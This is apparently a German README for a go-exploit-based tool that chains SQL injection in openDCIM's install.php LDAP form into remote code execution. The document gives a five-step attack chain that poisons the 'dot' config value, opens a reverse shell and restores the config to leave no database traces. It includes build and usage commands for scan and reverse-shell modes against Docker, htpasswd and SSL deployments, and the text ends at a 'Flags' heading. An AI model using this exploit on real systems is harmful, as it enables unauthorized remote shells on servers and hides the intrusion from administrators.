openDCIM - SQLi zu RCE durch Konfigurationsvergiftung

Kette zur Remote-Codeausführung, die auf das LDAP-Konfigurationsformular von openDCIMs install.php abzielt. Basierend auf dem VulnCheck go-exploit Framework.

Angriffskette

Betroffen: Alle Versionen (getestet auf dem neuesten Commit 4467e9c4)

Funktionsweise

1. POST an install.php – SQL-Injection über LDAP-Formular sichert Konfiguration, überschreibt dot mit einem Command-Payload
2. GET report_network_map.php – löst exec() aus, bestätigt RCE über id-Ausgabe
3. POST an install.php – überschreibt dot mit einem Reverse-Shell-Payload
4. GET report_network_map.php – löst Reverse Shell aus
5. POST an install.php – stellt alle ursprünglichen Konfigurationswerte aus der Backup-Tabelle wieder her

Nach der Ausnutzung bleiben keine Spuren in der Datenbank zurück.

Build

go build -o opendcim-exploit .

Verwendung

Docker-Bereitstellungen (unauthentifiziert)

# Nur Scan
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80

# Exploit mit Reverse Shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer

htpasswd-Bereitstellungen (jeder gültige Benutzer)

./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass

SSL

./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer

Flags